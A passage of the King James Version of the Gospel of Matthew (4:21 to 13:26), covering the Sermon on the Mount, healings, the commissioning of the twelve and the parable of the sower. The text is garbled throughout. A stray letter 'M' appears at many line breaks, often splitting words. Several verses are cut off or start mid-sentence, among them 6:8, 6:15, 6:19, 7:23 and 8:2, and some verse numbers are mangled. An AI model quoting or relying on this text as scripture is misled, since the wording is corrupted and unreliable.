4:21: And going on from thence, he saw other two brethren, James the son of Zebedee, and John his brother, in a ship with Zebedee their father, mending their nets; and he called them.
they immediately left the ship and their father, and followed him.
4:23: And Jesus went about all Galilee, teaching in their synagogues, and preaching the gospel of the kingdom, and healing all manner of sickness and all manner of disease among the people.
4:24: And his fame went throughout all Syria: and they brought unto him all sick people that were taken with divers diseases and torments, and those which were possessed with devils, and those which were lunatick, and those that had the palsy; and he healed them.M
4:25: And there followed him great multitudes of people from Galilee, and from Decapolis, and from Jerusalem, and from Judaea, and from beyond Jordan.
5:1: And seeing the multitudes, he went up into a mountain: and when he was set, his disciples came unto him:
5:2: And he opened his mouth, and taught them, saying,
5:3: Blessed are the poor in spirit: for theirs is the kingdom of heaven.
5:4: Blessed are they that mourn: for they shall be comforted.
5:5: Blessed are the meek: for they shall inherit the eM
5:6: Blessed are they which do hunger and thirst after righteousness: for they shall be filled.
5:7: Blessed are the merciful: for they shall obtain mercy.
5:8: Blessed are the pure in heart: for they shall see God.
5:9: Blessed are the peacemakers: for they shall be called the children of God.
5:10: Blessed are they which are persecuted for righteousness' sake: for theirs is the kingdom of heaven.
5:11: Blessed are ye, when men shall revile you, and persecute you, and shall say all manner of evil against youM
 falsely, for my sake.
5:12: Rejoice, and be exceeding glad: for great is your reward in heaven: for so persecuted they the prophets which were before you.
5:13: Ye are the salt of the earth: but if the salt have lost his savour, wherewith shall it be salted? it is thenceforth good for nothing, but to be cast out, and to be trodden under foot of men.
5:14: Ye are the light of the world. A city that is set on an hill cannot be hid.
5:15: Neither do men light a candle, and put it under a bushel, but on a candlestick;M
 and it giveth light unto all that are in the house.
5:16: Let your light so shine before men, that they may see your good works, and glorify your Father which is in heaven.
5:17: Think not that I am come to destroy the law, or the prophets: I am not come to destroy, but to fulfil.
5:18: For verily I say unto you, Till heaven and earth pass, one jot or one tittle shall in no wise pass from the law, till all be fulfilled.
5:19: Whosoever therefore shall break one of these least commandments, and shall teach men so, M
he shall be called the least in the kingdom of heaven: but whosoever shall do and teach them, the same shall be called great in the kingdom of heaven.
5:20: For I say unto you, That except your righteousness shall exceed the righteousness of the scribes and Pharisees, ye shall in no case enter into the kingdom of heaven.
5:21: Ye have heard that it was said by them of old time, Thou shalt not kill; and whosoever shall kill shall be in danger of the judgment:
5:22: But I say unto you, That whosoever is angry with hiM
s brother without a cause shall be in danger of the judgment: and whosoever shall say to his brother, Raca, shall be in danger of the council: but whosoever shall say, Thou fool, shall be in danger of hell fire.
5:23: Therefore if thou bring thy gift to the altar, and there rememberest that thy brother hath ought against thee;
5:24: Leave there thy gift before the altar, and go thy way; first be reconciled to thy brother, and then come and offer thy gift.
5:25: Agree with thine adversary quickly, whiles thou art inM
 the way with him; lest at any time the adversary deliver thee to the judge, and the judge deliver thee to the officer, and thou be cast into prison.
5:26: Verily I say unto thee, Thou shalt by no means come out thence, till thou hast paid the uttermost farthing.
5:27: Ye have heard that it was said by them of old time, Thou shalt not commit adultery:
5:28: But I say unto you, That whosoever looketh on a woman to lust after her hath committed adultery with her already in his heart.
5:29: And if thy right eye offendM
 thee, pluck it out, and cast it from thee: for it is profitable for thee that one of thy members should perish, and not that thy whole body should be cast into hell.
5:30: And if thy right hand offend thee, cut it off, and cast it from thee: for it is profitable for thee that one of thy members should perish, and not that thy whole body should be cast into hell.
5:31: It hath been said, Whosoever shall put away his wife, let him give her a writing of divorcement:
5:32: But I say unto you, That whosoever shall put M
away his wife, saving for the cause of fornication, causeth her to commit adultery: and whosoever shall marry her that is divorced committeth adultery.
5:33: Again, ye have heard that it hath been said by them of old time, Thou shalt not forswear thyself, but shalt perform unto the Lord thine oaths:
5:34: But I say unto you, Swear not at all; neither by heaven; for it is God's throne:
5:35: Nor by the earth; for it is his footstool: neither by Jerusalem; for it is the city of the great King.
5:36: Neither shalt thoM
u swear by thy head, because thou canst not make one hair white or black.
5:37: But let your communication be, Yea, yea; Nay, nay: for whatsoever is more than these cometh of evil.
5:38: Ye have heard that it hath been said, An eye for an eye, and a tooth for a tooth:
5:39: But I say unto you, That ye resist not evil: but whosoever shall smite thee on thy right cheek, turn to him the other also.
5:40: And if any man will sue thee at the law, and take away thy coat, let him have thy cloke also.
5:41: And whosoever sM
hall compel thee to go a mile, go with him twain.
5:42: Give to him that asketh thee, and from him that would borrow of thee turn not thou away.
5:43: Ye have heard that it hath been said, Thou shalt love thy neighbour, and hate thine enemy.
5:44: But I say unto you, Love your enemies, bless them that curse you, do good to them that hate you, and pray for them which despitefully use you, and persecute you;
5:45: That ye may be the children of your Father which is in heaven: for he maketh his sun to rise on the evilM
 and on the good, and sendeth rain on the just and on the unjust.
5:46: For if ye love them which love you, what reward have ye? do not even the publicans the same?
5:47: And if ye salute your brethren only, what do ye more than others? do not even the publicans so?
5:48: Be ye therefore perfect, even as your Father which is in heaven is perfect.
6:1: Take heed that ye do not your alms before men, to be seen of them: otherwise ye have no reward of your Father which is in heaven.
6:2: Therefore when thou M
doest thine alms, do not sound a trumpet before thee, as the hypocrites do in the synagogues and in the streets, that they may have glory of men. Verily I say unto you, They have their reward.
6:3: But when thou doest alms, let not thy left hand know what thy right hand doeth:
6:4: That thine alms may be in secret: and thy Father which seeth in secret himself shall reward thee openly.
6:5: And when thou prayest, thou shalt not be as the hypocrites are: for they love to pray standing in the synagogues and in the corM
ners of the streets, that they may be seen of men. Verily I say unto you, They have their reward.
6:6: But thou, when thou prayest, enter into thy closet, and when thou hast shut thy door, pray to thy Father which is in secret; and thy Father which seeth in secret shall reward thee openly.
6:7: But when ye pray, use not vain repetitions, as the heathen do: for they think that they shall be heard for their much speaking.
6:8: Be not ye therefore like unto them: for your Father knoweth what things ye have need of, beM
6:9: After this manner therefore pray ye: Our Father which art in heaven, Hallowed be thy name.
6:10: Thy kingdom come. Thy will be done in earth, as it is in heaven.
6:11: Give us this day our daily bread.
6:12: And forgive us our debts, as we forgive our debtors.
6:13: And lead us not into temptation, but deliver us from evil: For thine is the kingdom, and the power, and the glory, for ever. Amen.
6:14: For if ye forgive men their trespasses, your heavenly Father will also forgive you:
if ye forgive not men their trespasses, neither will your Father forgive your trespasses.
6:16: Moreover when ye fast, be not, as the hypocrites, of a sad countenance: for they disfigure their faces, that they may appear unto men to fast. Verily I say unto you, They have their reward.
6:17: But thou, when thou fastest, anoint thine head, and wash thy face;
6:18: That thou appear not unto men to fast, but unto thy Father which is in secret: and thy Father, which seeth in secret, shall reward thee openly.
ot up for yourselves treasures upon earth, where moth and rust doth corrupt, and where thieves break through and steal:
6:20: But lay up for yourselves treasures in heaven, where neither moth nor rust doth corrupt, and where thieves do not break through nor steal:
6:21: For where your treasure is, there will your heart be also.
6:22: The light of the body is the eye: if therefore thine eye be single, thy whole body shall be full of light.
6:23: But if thine eye be evil, thy whole body shall be full of darkness. If M
therefore the light that is in thee be darkness, how great is that darkness!
6:24: No man can serve two masters: for either he will hate the one, and love the other; or else he will hold to the one, and despise the other. Ye cannot serve God and mammon.
6:25: Therefore I say unto you, Take no thought for your life, what ye shall eat, or what ye shall drink; nor yet for your body, what ye shall put on. Is not the life more than meat, and the body than raiment?
6:26: Behold the fowls of the air: for they sow not, neiM
ther do they reap, nor gather into barns; yet your heavenly Father feedeth them. Are ye not much better than they?
6:27: Which of you by taking thought can add one cubit unto his stature?
6:28: And why take ye thought for raiment? Consider the lilies of the field, how they grow; they toil not, neither do they spin:
6:29: And yet I say unto you, That even Solomon in all his glory was not arrayed like one of these.
6:30: Wherefore, if God so clothe the grass of the field, which to day is, and to morrow is cast into tM
he oven, shall he not much more clothe you, O ye of little faith?
6:31: Therefore take no thought, saying, What shall we eat? or, What shall we drink? or, Wherewithal shall we be clothed?
6:32: (For after all these things do the Gentiles seek:) for your heavenly Father knoweth that ye have need of all these things.
6:33: But seek ye first the kingdom of God, and his righteousness; and all these things shall be added unto you.
6:34: Take therefore no thought for the morrow: for the morrow shall take thought for the M
things of itself. Sufficient unto the day is the evil thereof.
7:1: Judge not, that ye be not judged.
7:2: For with what judgment ye judge, ye shall be judged: and with what measure ye mete, it shall be measured to you again.
7:3: And why beholdest thou the mote that is in thy brother's eye, but considerest not the beam that is in thine own eye?
7:4: Or how wilt thou say to thy brother, Let me pull out the mote out of thine eye; and, behold, a beam is in thine own eye?
7:5: Thou hypocrite, first cast outM
 the beam out of thine own eye; and then shalt thou see clearly to cast out the mote out of thy brother's eye.
7:6: Give not that which is holy unto the dogs, neither cast ye your pearls before swine, lest they trample them under their feet, and turn again and rend you.
7:7: Ask, and it shall be given you; seek, and ye shall find; knock, and it shall be opened unto you:
7:8: For every one that asketh receiveth; and he that seeketh findeth; and to him that knocketh it shall be opened.
7:9: Or what man is there of yoM
u, whom if his son ask bread, will he give him a stone?
7:10: Or if he ask a fish, will he give him a serpent?
7:11: If ye then, being evil, know how to give good gifts unto your children, how much more shall your Father which is in heaven give good things to them that ask him?
7:12: Therefore all things whatsoever ye would that men should do to you, do ye even so to them: for this is the law and the prophets.
7:13: Enter ye in at the strait gate: for wide is the gate, and broad is the way, that leadeth to destructM
ion, and many there be which go in thereat:
7:14: Because strait is the gate, and narrow is the way, which leadeth unto life, and few there be that find it.
7:15: Beware of false prophets, which come to you in sheep's clothing, but inwardly they are ravening wolves.
7:16: Ye shall know them by their fruits. Do men gather grapes of thorns, or figs of thistles?
7:17: Even so every good tree bringeth forth good fruit; but a corrupt tree bringeth forth evil fruit.
7:18: A good tree cannot bring forth evil fruit, neitheM
r can a corrupt tree bring forth good fruit.
7:19: Every tree that bringeth not forth good fruit is hewn down, and cast into the fire.
7:20: Wherefore by their fruits ye shall know them.
7:21: Not every one that saith unto me, Lord, Lord, shall enter into the kingdom of heaven; but he that doeth the will of my Father which is in heaven.
7:22: Many will say to me in that day, Lord, Lord, have we not prophesied in thy name? and in thy name have cast out devils? and in thy name done many wonderful works?
n will I profess unto them, I never knew you: depart from me, ye that work iniquity.
7:24: Therefore whosoever heareth these sayings of mine, and doeth them, I will liken him unto a wise man, which built his house upon a rock:
7:25: And the rain descended, and the floods came, and the winds blew, and beat upon that house; and it fell not: for it was founded upon a rock.
7:26: And every one that heareth these sayings of mine, and doeth them not, shall be likened unto a foolish man, which built his house upon the sanM
7:27: And the rain descended, and the floods came, and the winds blew, and beat upon that house; and it fell: and great was the fall of it.
7:28: And it came to pass, when Jesus had ended these sayings, the people were astonished at his doctrine:
7:29: For he taught them as one having authority, and not as the scribes.
8:1: When he was come down from the mountain, great multitudes followed him.
8:2: And, behold, there came a leper and worshipped him, saying, Lord, if thou wilt, thou canst make me cleaM
8:3: And Jesus put forth his hand, and touched him, saying, I will; be thou clean. And immediately his leprosy was cleansed.
8:4: And Jesus saith unto him, See thou tell no man; but go thy way, shew thyself to the priest, and offer the gift that Moses commanded, for a testimony unto them.
8:5: And when Jesus was entered into Capernaum, there came unto him a centurion, beseeching him,
8:6: And saying, Lord, my servant lieth at home sick of the palsy, grievously tormented.
8:7: And Jesus saith unto him, I will comM
8:8: The centurion answered and said, Lord, I am not worthy that thou shouldest come under my roof: but speak the word only, and my servant shall be healed.
8:9: For I am a man under authority, having soldiers under me: and I say to this man, Go, and he goeth; and to another, Come, and he cometh; and to my servant, Do this, and he doeth it.
8:10: When Jesus heard it, he marvelled, and said to them that followed, Verily I say unto you, I have not found so great faith, no, not in Israel.
ay unto you, That many shall come from the east and west, and shall sit down with Abraham, and Isaac, and Jacob, in the kingdom of heaven.
8:12: But the children of the kingdom shall be cast out into outer darkness: there shall be weeping and gnashing of teeth.
8:13: And Jesus said unto the centurion, Go thy way; and as thou hast believed, so be it done unto thee. And his servant was healed in the selfsame hour.
8:14: And when Jesus was come into Peter's house, he saw his wife's mother laid, and sick of a fever.
15: And he touched her hand, and the fever left her: and she arose, and ministered unto them.
8:16: When the even was come, they brought unto him many that were possessed with devils: and he cast out the spirits with his word, and healed all that were sick:
8:17: That it might be fulfilled which was spoken by Esaias the prophet, saying, Himself took our infirmities, and bare our sicknesses.
8:18: Now when Jesus saw great multitudes about him, he gave commandment to depart unto the other side.
8:19: And a certain scM
ribe came, and said unto him, Master, I will follow thee whithersoever thou goest.
8:20: And Jesus saith unto him, The foxes have holes, and the birds of the air have nests; but the Son of man hath not where to lay his head.
8:21: And another of his disciples said unto him, Lord, suffer me first to go and bury my father.
8:22: But Jesus said unto him, Follow me; and let the dead bury their dead.
8:23: And when he was entered into a ship, his disciples followed him.
8:24: And, behold, there arose a great tempest in M
the sea, insomuch that the ship was covered with the waves: but he was asleep.
8:25: And his disciples came to him, and awoke him, saying, Lord, save us: we perish.
8:26: And he saith unto them, Why are ye fearful, O ye of little faith? Then he arose, and rebuked the winds and the sea; and there was a great calm.
8:27: But the men marvelled, saying, What manner of man is this, that even the winds and the sea obey him!
8:28: And when he was come to the other side into the country of the Gergesenes, there met him twoM
 possessed with devils, coming out of the tombs, exceeding fierce, so that no man might pass by that way.
8:29: And, behold, they cried out, saying, What have we to do with thee, Jesus, thou Son of God? art thou come hither to torment us before the time?
8:30: And there was a good way off from them an herd of many swine feeding.
8:31: So the devils besought him, saying, If thou cast us out, suffer us to go away into the herd of swine.
8:32: And he said unto them, Go. And when they were come out, they went into the M
herd of swine: and, behold, the whole herd of swine ran violently down a steep place into the sea, and perished in the waters.
8:33: And they that kept them fled, and went their ways into the city, and told every thing, and what was befallen to the possessed of the devils.
8:34: And, behold, the whole city came out to meet Jesus: and when they saw him, they besought him that he would depart out of their coasts.
9:1: And he entered into a ship, and passed over, and came into his own city.
, they brought to him a man sick of the palsy, lying on a bed: and Jesus seeing their faith said unto the sick of the palsy; Son, be of good cheer; thy sins be forgiven thee.
9:3: And, behold, certain of the scribes said within themselves, This man blasphemeth.
9:4: And Jesus knowing their thoughts said, Wherefore think ye evil in your hearts?
9:5: For whether is easier, to say, Thy sins be forgiven thee; or to say, Arise, and walk?
9:6: But that ye may know that the Son of man hath power on earth to forgive sins, M
(then saith he to the sick of the palsy,) Arise, take up thy bed, and go unto thine house.
9:7: And he arose, and departed to his house.
9:8: But when the multitudes saw it, they marvelled, and glorified God, which had given such power unto men.
9:9: And as Jesus passed forth from thence, he saw a man, named Matthew, sitting at the receipt of custom: and he saith unto him, Follow me. And he arose, and followed him.
9:10: And it came to pass, as Jesus sat at meat in the house, behold, many publicans and sinners cameM
 and sat down with him and his disciples.
9:11: And when the Pharisees saw it, they said unto his disciples, Why eateth your Master with publicans and sinners?
9:12: But when Jesus heard that, he said unto them, They that be whole need not a physician, but they that are sick.
9:13: But go ye and learn what that meaneth, I will have mercy, and not sacrifice: for I am not come to call the righteous, but sinners to repentance.
9:14: Then came to him the disciples of John, saying, Why do we and the Pharisees fast oft, M
but thy disciples fast not?
9:15: And Jesus said unto them, Can the children of the bridechamber mourn, as long as the bridegroom is with them? but the days will come, when the bridegroom shall be taken from them, and then shall they fast.
9:16: No man putteth a piece of new cloth unto an old garment, for that which is put in to fill it up taketh from the garment, and the rent is made worse.
9:17: Neither do men put new wine into old bottles: else the bottles break, and the wine runneth out, and the bottles perish:M
 but they put new wine into new bottles, and both are preserved.
9:18: While he spake these things unto them, behold, there came a certain ruler, and worshipped him, saying, My daughter is even now dead: but come and lay thy hand upon her, and she shall live.
9:19: And Jesus arose, and followed him, and so did his disciples.
9:20: And, behold, a woman, which was diseased with an issue of blood twelve years, came behind him, and touched the hem of his garment:
9:21: For she said within herself, If I may but touch hiM
s garment, I shall be whole.
9:22: But Jesus turned him about, and when he saw her, he said, Daughter, be of good comfort; thy faith hath made thee whole. And the woman was made whole from that hour.
9:23: And when Jesus came into the ruler's house, and saw the minstrels and the people making a noise,
9:24: He said unto them, Give place: for the maid is not dead, but sleepeth. And they laughed him to scorn.
9:25: But when the people were put forth, he went in, and took her by the hand, and the maid arose.
 the fame hereof went abroad into all that land.
9:27: And when Jesus departed thence, two blind men followed him, crying, and saying, Thou Son of David, have mercy on us.
9:28: And when he was come into the house, the blind men came to him: and Jesus saith unto them, Believe ye that I am able to do this? They said unto him, Yea, Lord.
9:29: Then touched he their eyes, saying, According to your faith be it unto you.
9:30: And their eyes were opened; and Jesus straitly charged them, saying, See that no man know it.
9:31: But they, when they were departed, spread abroad his fame in all that country.
9:32: As they went out, behold, they brought to him a dumb man possessed with a devil.
9:33: And when the devil was cast out, the dumb spake: and the multitudes marvelled, saying, It was never so seen in Israel.
9:34: But the Pharisees said, He casteth out devils through the prince of the devils.
9:35: And Jesus went about all the cities and villages, teaching in their synagogues, and preaching the gospel of the kingdom, and healinM
g every sickness and every disease among the people.
9:36: But when he saw the multitudes, he was moved with compassion on them, because they fainted, and were scattered abroad, as sheep having no shepherd.
9:37: Then saith he unto his disciples, The harvest truly is plenteous, but the labourers are few;
9:38: Pray ye therefore the Lord of the harvest, that he will send forth labourers into his harvest.
10:1: And when he had called unto him his twelve disciples, he gave them power against unclean spiritM
s, to cast them out, and to heal all manner of sickness and all manner of disease.
10:2: Now the names of the twelve apostles are these; The first, Simon, who is called Peter, and Andrew his brother; James the son of Zebedee, and John his brother;
10:3: Philip, and Bartholomew; Thomas, and Matthew the publican; James the son of Alphaeus, and Lebbaeus, whose surname was Thaddaeus;
10:4: Simon the Canaanite, and Judas Iscariot, who also betrayed him.
10:5: These twelve Jesus sent forth, and commanded them, saying, GoM
 not into the way of the Gentiles, and into any city of the Samaritans enter ye not:
10:6: But go rather to the lost sheep of the house of Israel.
10:7: And as ye go, preach, saying, The kingdom of heaven is at hand.
10:8: Heal the sick, cleanse the lepers, raise the dead, cast out devils: freely ye have received, freely give.
10:9: Provide neither gold, nor silver, nor brass in your purses,
10:10: Nor scrip for your journey, neither two coats, neither shoes, nor yet staves: for the workman is worthy of his meat.
0:11: And into whatsoever city or town ye shall enter, enquire who in it is worthy; and there abide till ye go thence.
10:12: And when ye come into an house, salute it.
10:13: And if the house be worthy, let your peace come upon it: but if it be not worthy, let your peace return to you.
10:14: And whosoever shall not receive you, nor hear your words, when ye depart out of that house or city, shake off the dust of your feet.
10:15: Verily I say unto you, It shall be more tolerable for the land of Sodom and Gomorrha M
in the day of judgment, than for that city.
10:16: Behold, I send you forth as sheep in the midst of wolves: be ye therefore wise as serpents, and harmless as doves.
10:17: But beware of men: for they will deliver you up to the councils, and they will scourge you in their synagogues;
10:18: And ye shall be brought before governors and kings for my sake, for a testimony against them and the Gentiles.
10:19: But when they deliver you up, take no thought how or what ye shall speak: for it shall be given you in that saM
me hour what ye shall speak.
10:20: For it is not ye that speak, but the Spirit of your Father which speaketh in you.
10:21: And the brother shall deliver up the brother to death, and the father the child: and the children shall rise up against their parents, and cause them to be put to death.
10:22: And ye shall be hated of all men for my name's sake: but he that endureth to the end shall be saved.
10:23: But when they persecute you in this city, flee ye into another: for verily I say unto you, Ye shall not have gM
one over the cities of Israel, till the Son of man be come.
10:24: The disciple is not above his master, nor the servant above his lord.
10:25: It is enough for the disciple that he be as his master, and the servant as his lord. If they have called the master of the house Beelzebub, how much more shall they call them of his household?
10:26: Fear them not therefore: for there is nothing covered, that shall not be revealed; and hid, that shall not be known.
10:27: What I tell you in darkness, that speak ye in light:M
 and what ye hear in the ear, that preach ye upon the housetops.
10:28: And fear not them which kill the body, but are not able to kill the soul: but rather fear him which is able to destroy both soul and body in hell.
10:29: Are not two sparrows sold for a farthing? and one of them shall not fall on the ground without your Father.
10:30: But the very hairs of your head are all numbered.
10:31: Fear ye not therefore, ye are of more value than many sparrows.
10:32: Whosoever therefore shall confess me before men, hiM
m will I confess also before my Father which is in heaven.
10:33: But whosoever shall deny me before men, him will I also deny before my Father which is in heaven.
10:34: Think not that I am come to send peace on earth: I came not to send peace, but a sword.
10:35: For I am come to set a man at variance against his father, and the daughter against her mother, and the daughter in law against her mother in law.
10:36: And a man's foes shall be they of his own household.
10:37: He that loveth father or mother more thaM
n me is not worthy of me: and he that loveth son or daughter more than me is not worthy of me.
10:38: And he that taketh not his cross, and followeth after me, is not worthy of me.
10:39: He that findeth his life shall lose it: and he that loseth his life for my sake shall find it.
10:40: He that receiveth you receiveth me, and he that receiveth me receiveth him that sent me.
10:41: He that receiveth a prophet in the name of a prophet shall receive a prophet's reward; and he that receiveth a righteous man in the naM
me of a righteous man shall receive a righteous man's reward.
10:42: And whosoever shall give to drink unto one of these little ones a cup of cold water only in the name of a disciple, verily I say unto you, he shall in no wise lose his reward.
11:1: And it came to pass, when Jesus had made an end of commanding his twelve disciples, he departed thence to teach and to preach in their cities.
11:2: Now when John had heard in the prison the works of Christ, he sent two of his disciples,
11:3: And said untoM
 him, Art thou he that should come, or do we look for another?
11:4: Jesus answered and said unto them, Go and shew John again those things which ye do hear and see:
11:5: The blind receive their sight, and the lame walk, the lepers are cleansed, and the deaf hear, the dead are raised up, and the poor have the gospel preached to them.
11:6: And blessed is he, whosoever shall not be offended in me.
11:7: And as they departed, Jesus began to say unto the multitudes concerning John, What went ye out into the wildernesM
s to see? A reed shaken with the wind?
11:8: But what went ye out for to see? A man clothed in soft raiment? behold, they that wear soft clothing are in kings' houses.
11:9: But what went ye out for to see? A prophet? yea, I say unto you, and more than a prophet.
11:10: For this is he, of whom it is written, Behold, I send my messenger before thy face, which shall prepare thy way before thee.
11:11: Verily I say unto you, Among them that are born of women there hath not risen a greater than John the Baptist: notwitM
hstanding he that is least in the kingdom of heaven is greater than he.
11:12: And from the days of John the Baptist until now the kingdom of heaven suffereth violence, and the violent take it by force.
11:13: For all the prophets and the law prophesied until John.
11:14: And if ye will receive it, this is Elias, which was for to come.
11:15: He that hath ears to hear, let him hear.
11:16: But whereunto shall I liken this generation? It is like unto children sitting in the markets, and calling unto their fellows,
1:17: And saying, We have piped unto you, and ye have not danced; we have mourned unto you, and ye have not lamented.
11:18: For John came neither eating nor drinking, and they say, He hath a devil.
11:19: The Son of man came eating and drinking, and they say, Behold a man gluttonous, and a winebibber, a friend of publicans and sinners. But wisdom is justified of her children.
11:20: Then began he to upbraid the cities wherein most of his mighty works were done, because they repented not:
11:21: Woe unto thee, ChorM
azin! woe unto thee, Bethsaida! for if the mighty works, which were done in you, had been done in Tyre and Sidon, they would have repented long ago in sackcloth and ashes.
11:22: But I say unto you, It shall be more tolerable for Tyre and Sidon at the day of judgment, than for you.
11:23: And thou, Capernaum, which art exalted unto heaven, shalt be brought down to hell: for if the mighty works, which have been done in thee, had been done in Sodom, it would have remained until this day.
11:24: But I say unto you, ThM
at it shall be more tolerable for the land of Sodom in the day of judgment, than for thee.
11:25: At that time Jesus answered and said, I thank thee, O Father, Lord of heaven and earth, because thou hast hid these things from the wise and prudent, and hast revealed them unto babes.
11:26: Even so, Father: for so it seemed good in thy sight.
11:27: All things are delivered unto me of my Father: and no man knoweth the Son, but the Father; neither knoweth any man the Father, save the Son, and he to whomsoever the Son M
11:28: Come unto me, all ye that labour and are heavy laden, and I will give you rest.
11:29: Take my yoke upon you, and learn of me; for I am meek and lowly in heart: and ye shall find rest unto your souls.
11:30: For my yoke is easy, and my burden is light.
12:1: At that time Jesus went on the sabbath day through the corn; and his disciples were an hungred, and began to pluck the ears of corn, and to eat.
12:2: But when the Pharisees saw it, they said unto him, Behold, thy disciples dM
o that which is not lawful to do upon the sabbath day.
12:3: But he said unto them, Have ye not read what David did, when he was an hungred, and they that were with him;
12:4: How he entered into the house of God, and did eat the shewbread, which was not lawful for him to eat, neither for them which were with him, but only for the priests?
12:5: Or have ye not read in the law, how that on the sabbath days the priests in the temple profane the sabbath, and are blameless?
12:6: But I say unto you, That in this place M
is one greater than the temple.
12:7: But if ye had known what this meaneth, I will have mercy, and not sacrifice, ye would not have condemned the guiltless.
12:8: For the Son of man is Lord even of the sabbath day.
12:9: And when he was departed thence, he went into their synagogue:
12:10: And, behold, there was a man which had his hand withered. And they asked him, saying, Is it lawful to heal on the sabbath days? that they might accuse him.
12:11: And he said unto them, What man shall there be among you, that shM
all have one sheep, and if it fall into a pit on the sabbath day, will he not lay hold on it, and lift it out?
12:12: How much then is a man better than a sheep? Wherefore it is lawful to do well on the sabbath days.
12:13: Then saith he to the man, Stretch forth thine hand. And he stretched it forth; and it was restored whole, like as the other.
12:14: Then the Pharisees went out, and held a council against him, how they might destroy him.
12:15: But when Jesus knew it, he withdrew himself from thence: and great mM
ultitudes followed him, and he healed them all;
12:16: And charged them that they should not make him known:
12:17: That it might be fulfilled which was spoken by Esaias the prophet, saying,
12:18: Behold my servant, whom I have chosen; my beloved, in whom my soul is well pleased: I will put my spirit upon him, and he shall shew judgment to the Gentiles.
12:19: He shall not strive, nor cry; neither shall any man hear his voice in the streets.
12:20: A bruised reed shall he not break, and smoking flax shall he not qM
uench, till he send forth judgment unto victory.
12:21: And in his name shall the Gentiles trust.
12:22: Then was brought unto him one possessed with a devil, blind, and dumb: and he healed him, insomuch that the blind and dumb both spake and saw.
12:23: And all the people were amazed, and said, Is not this the son of David?
12:24: But when the Pharisees heard it, they said, This fellow doth not cast out devils, but by Beelzebub the prince of the devils.
12:25: And Jesus knew their thoughts, and said unto them, EveM
ry kingdom divided against itself is brought to desolation; and every city or house divided against itself shall not stand:
12:26: And if Satan cast out Satan, he is divided against himself; how shall then his kingdom stand?
12:27: And if I by Beelzebub cast out devils, by whom do your children cast them out? therefore they shall be your judges.
12:28: But if I cast out devils by the Spirit of God, then the kingdom of God is come unto you.
12:29: Or else how can one enter into a strong man's house, and spoil his goM
ods, except he first bind the strong man? and then he will spoil his house.
12:30: He that is not with me is against me; and he that gathereth not with me scattereth abroad.
12:31: Wherefore I say unto you, All manner of sin and blasphemy shall be forgiven unto men: but the blasphemy against the Holy Ghost shall not be forgiven unto men.
12:32: And whosoever speaketh a word against the Son of man, it shall be forgiven him: but whosoever speaketh against the Holy Ghost, it shall not be forgiven him, neither in this M
world, neither in the world to come.
12:33: Either make the tree good, and his fruit good; or else make the tree corrupt, and his fruit corrupt: for the tree is known by his fruit.
12:34: O generation of vipers, how can ye, being evil, speak good things? for out of the abundance of the heart the mouth speaketh.
12:35: A good man out of the good treasure of the heart bringeth forth good things: and an evil man out of the evil treasure bringeth forth evil things.
12:36: But I say unto you, That every idle word that mM
en shall speak, they shall give account thereof in the day of judgment.
12:37: For by thy words thou shalt be justified, and by thy words thou shalt be condemned.
12:38: Then certain of the scribes and of the Pharisees answered, saying, Master, we would see a sign from thee.
12:39: But he answered and said unto them, An evil and adulterous generation seeketh after a sign; and there shall no sign be given to it, but the sign of the prophet Jonas:
12:40: For as Jonas was three days and three nights in the whale's belM
ly; so shall the Son of man be three days and three nights in the heart of the earth.
12:41: The men of Nineveh shall rise in judgment with this generation, and shall condemn it: because they repented at the preaching of Jonas; and, behold, a greater than Jonas is here.
12:42: The queen of the south shall rise up in the judgment with this generation, and shall condemn it: for she came from the uttermost parts of the earth to hear the wisdom of Solomon; and, behold, a greater than Solomon is here.
clean spirit is gone out of a man, he walketh through dry places, seeking rest, and findeth none.
12:44: Then he saith, I will return into my house from whence I came out; and when he is come, he findeth it empty, swept, and garnished.
12:45: Then goeth he, and taketh with himself seven other spirits more wicked than himself, and they enter in and dwell there: and the last state of that man is worse than the first. Even so shall it be also unto this wicked generation.
12:46: While he yet talked to the people, beholM
d, his mother and his brethren stood without, desiring to speak with him.
12:47: Then one said unto him, Behold, thy mother and thy brethren stand without, desiring to speak with thee.
12:48: But he answered and said unto him that told him, Who is my mother? and who are my brethren?
12:49: And he stretched forth his hand toward his disciples, and said, Behold my mother and my brethren!
12:50: For whosoever shall do the will of my Father which is in heaven, the same is my brother, and sister, and mother.
13:1: The same day went Jesus out of the house, and sat by the sea side.
13:2: And great multitudes were gathered together unto him, so that he went into a ship, and sat; and the whole multitude stood on the shore.
13:3: And he spake many things unto them in parables, saying, Behold, a sower went forth to sow;
13:4: And when he sowed, some seeds fell by the way side, and the fowls came and devoured them up:
13:5: Some fell upon stony places, where they had not much earth: and forthwith they sprung up, because theyM
 had no deepness of earth:
13:6: And when the sun was up, they were scorched; and because they had no root, they withered away.
13:7: And some fell among thorns; and the thorns sprung up, and choked them:
13:8: But other fell into good ground, and brought forth fruit, some an hundredfold, some sixtyfold, some thirtyfold.
13:9: Who hath ears to hear, let him hear.
13:10: And the disciples came, and said unto him, Why speakest thou unto them in parables?
13:11: He answered and said unto them, Because it is given untoM
 you to know the mysteries of the kingdom of heaven, but to them it is not given.
13:12: For whosoever hath, to him shall be given, and he shall have more abundance: but whosoever hath not, from him shall be taken away even that he hath.
13:13: Therefore speak I to them in parables: because they seeing see not; and hearing they hear not, neither do they understand.
13:14: And in them is fulfilled the prophecy of Esaias, which saith, By hearing ye shall hear, and shall not understand; and seeing ye shall see, and shM
13:15: For this people's heart is waxed gross, and their ears are dull of hearing, and their eyes they have closed; lest at any time they should see with their eyes, and hear with their ears, and should understand with their heart, and should be converted, and I should heal them.
13:16: But blessed are your eyes, for they see: and your ears, for they hear.
13:17: For verily I say unto you, That many prophets and righteous men have desired to see those things which ye see, and have not seen them; aM
nd to hear those things which ye hear, and have not heard them.
13:18: Hear ye therefore the parable of the sower.
13:19: When any one heareth the word of the kingdom, and understandeth it not, then cometh the wicked one, and catcheth away that which was sown in his heart. This is he which received seed by the way side.
13:20: But he that received the seed into stony places, the same is he that heareth the word, and anon with joy receiveth it;
13:21: Yet hath he not root in himself, but dureth for a while: for whenM
 tribulation or persecution ariseth because of the word, by and by he is offended.
13:22: He also that received seed among the thorns is he that heareth the word; and the care of this world, and the deceitfulness of riches, choke the word, and he becometh unfruitful.
13:23: But he that received seed into the good ground is he that heareth the word, and understandeth it; which also beareth fruit, and bringeth forth, some an hundredfold, some sixty, some thirty.
13:24: Another parable put he forth unto them, saying, M
The kingdom of heaven is likened unto a man which sowed good seed in his field:
13:25: But while men slept, his enemy came and sowed tares among the wheat, and went his way.
13:26: But when the blade was sprung up, and brought forth fruit, then appeared the tares also.
